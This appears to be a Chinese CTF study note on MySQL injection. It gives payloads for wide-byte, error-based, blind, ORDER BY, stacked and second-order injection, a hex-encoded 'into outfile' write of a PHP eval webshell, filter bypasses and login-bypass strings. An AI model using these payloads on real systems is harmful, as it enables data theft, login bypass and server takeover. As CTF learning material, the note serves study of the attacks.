• CTF SQL注入


    一、宽字节注入

    • 原理:GBK编码、URL转码
      利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)
      例如:' -> ' -> %5C%27
      %df' -> %df' -> %df%5C%27

    • sql字符集特性

    MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。
    可以看到大写O和Ö是相等的

    • SQL注入常用URL编码
      空格 %20
      ' %27
      # %23
      %5C

    • php-addslashes函数:在特殊字符前加上反斜线来转义

    • 如何从addslashes函数逃逸?

      • 前面再加一个,变成\',这样就被转义了
      • 把弄没
    • 表名或列名可以使用16进制转码来实现
      例如:ctf -> 0x637466
      sqlmap中加参数--hex

    二、基于约束的注入

    • 原理:超过数据类型长度的部分不会被插进表里,如果不将字段作为唯一字段,可以插入重复的数据
    • 例如:注册admin + 很多空格 + 1,成功以admin身份登录

    三、报错注入

    • 公式

          and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)x from information_schema.tables group by x)a));
      
          or updatexml(1,concat(0x7e,(version())),0)//最大长度是32位
      
          and extractvalue(1,concat(0x7e,(select database())))
      
          and exp(~(select * from (select user())a));
      
          and updatexml(1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,41),1)
      

    四、时间盲注

    • 原理:能够截取字符串,同时触发延时即可
      SELECT * FROM table WHERE id = 1 AND (if(SUBSTR(database(),1,1)=' ',sleep(5),null))
      SELECT * FROM table WHERE id = 1 AND (if(acsii(substr(database(),1,1))=100,sleep(5),null))

    • 相关函数

      • 延时方法

        • SLEEP(duration)

        • BENCHMARK(count,expr)

          例如select benchmark(10000000,sha(1))

        • 笛卡尔积
          例如SELECT count(*) FROM information_schema.columns A,information_schema.columns B, information_schema.tables C;
          ps:COUNT(*)计算行数

        • GET_LOCK(str,timeout)
          需要开启两个会话才能生效

        • RLIKE
          通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短
          例如select concat(rpad(1,9999999,'a'),rpad(1,9999999,'a'),···,rpad(1,9999999,'a')) RLIKE '(a.*)+(a.*)+···+(a.*)+b

      • 条件

        • IF(expr1,expr2,expr3)

        • CASE WHEN [condition] when [result]

      • 字符串截取

        • SUBSTR(SUBSTRING)
          substr同substring,有多种参数选择
          SUBSTRING(str,pos), SUBSTRING(str FROM pos), SUBSTRING(str,pos,len), SUBSTRING(str FROM pos FOR len)

        • MID(str,pos,len)同SUBSTRING(str,pos,len)

        • SUBSTRING_INDEX(str,delim,count)

        • LEFT(str,len)

      • 字符串转换

        • ASCII()
        • ORD()
        • CHR()

    五、bool盲注

    • 原理:利用回显的消息不同,判断输入表达式是否正确
    • 常用函数
      基本同时间盲注

    六、order by的注入

    使用ORDER BY子句对查询结果按一列或多列排序。
    ORDER BY子句的语法格式为:
    ORDER BY {column_name [ASC|DESC]}[,...n]

    • ORDER BY语句默认按照升序对记录进行排序
    • 在不知道列名的情况下可以通过列的序号来指代相应的列。但是这里无法做运算
    • 当ORDER BY注入能通过返回错误信息是,也可以考虑使用报错注入
    • 根据不同的列排序,会返回不同的结果,也可以使用类似于bool型盲注的形式来注入
    • ORDER BY后面字段可以通过位运算符(|&^~)来使代码被执行,例如
      select * from xxx order by id|(sleep(5))
    • ORDER BY在括号中时后面可以跟UNION,例如
      (select 1,2,3 order by 3 asc)union(select 2,3,4)

    六、INSERT、UPDATE、DELETE相关的注入

    • INSERT

      例如:insert into users (id,username,password) values (2,'attacker' or updatexml(1,concat(0x7e,database()),0), 'password')
      insert还有中特殊用法insert ... on duplicate key update如果存在冲突的unique键,则更新,可以用来修改例如admin的密码

    • UPDATE

      例如:update users set password='password' or updatexml(1,concat(0x7e,database()),0) where id=2

    • delete

      例如:delete from users where id=2 or updatexml(1,concat(0x7e,database()),0)

    七、堆叠注入

    PDO场景下的SQL注入探究

    • 原理:利用;结束语句并插入自己的sql语句
    • 适用:
      • Mysql、SqlServer、Postgresql(Oracle不行)
      • 只有当调用数据库函数支持执行多条sql语句时才能够使用,例如mysqli_multi_query()函数就支持多条sql语句同时执行
      • PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为false时可能会造成堆叠注入
    • 例子
      利用存储过程绕过select过滤
      http://web16.buuoj.cn/?      inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;#
      使用了大小写绕过strstr($inject, "set") && strstr($inject, "prepare")
      去掉URL编码后
      ?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
      

    八、二次注入

    用这样的payload将数据带出来
    0'^(select hex(hex(substr((select * from flag) from {i} for 1))))^'0
    两次hex是为了将第一次hex中的字母变成数字,substr是因为如果hex的值太大,sql会变成科学计数法,丢失精度

    九、文件读写

    select @@secure_file_priv
    secure_file_priv

    • 1、限制mysqld 不允许导入 | 导出
      --secure_file_prive=null
    • 2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
      --secure_file_priv=/tmp/
    • 3、不对mysqld 的导入 | 导出做限制
      --secure_file_priv=

    load_file读文件
    写文件

    select 0x3C3F706870206576616C28245F524551554553545B2761275D293B203F3E into outfile '/var/www/html/1.php'
    # <?php eval($_REQUEST['a']); ?>
    

    十、常用绕过

    SQL注入绕过技巧

    • 空格
      • /**/
    • =
      • like
      • regexp
      • !(<>)
    • '
      • 转义符
      • 16进制(例如:ctf -> 0x637466)
      • union注入使用join,例如3' union select * from (select 1) a join (select 2 ) b %23
      • substr from for
      • if->case when

    其它重要绕过参考:SQL注入有趣姿势总结
    Sql注入笔记
    SQL注入之骚姿势小记
    sql注入总结(一)--2018自我整理

    十一、万能密码

    select * from admin where username = '' and password = ''

    username password
    admin'#
    '+' '+'
    aaa'=' aaa'='
    1 '^'1
    '%1#
    '=0#
  • 相关阅读:
    北风设计模式课程---13、享元模式
    北风设计模式课程---观察者模式2
    北风设计模式课程---观察者模式
    北风设计模式课程---12、观察者模式
    Linux下yum订购具体解释
    不黑诺基亚,他们觉得萌萌达
    System.Threading.ThreadStateException
    SRS微信号和QQ组
    hibernate它 10.many2many单向
    UML 简单的总结
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/11204022.html
Copyright © 2020-2023  润新知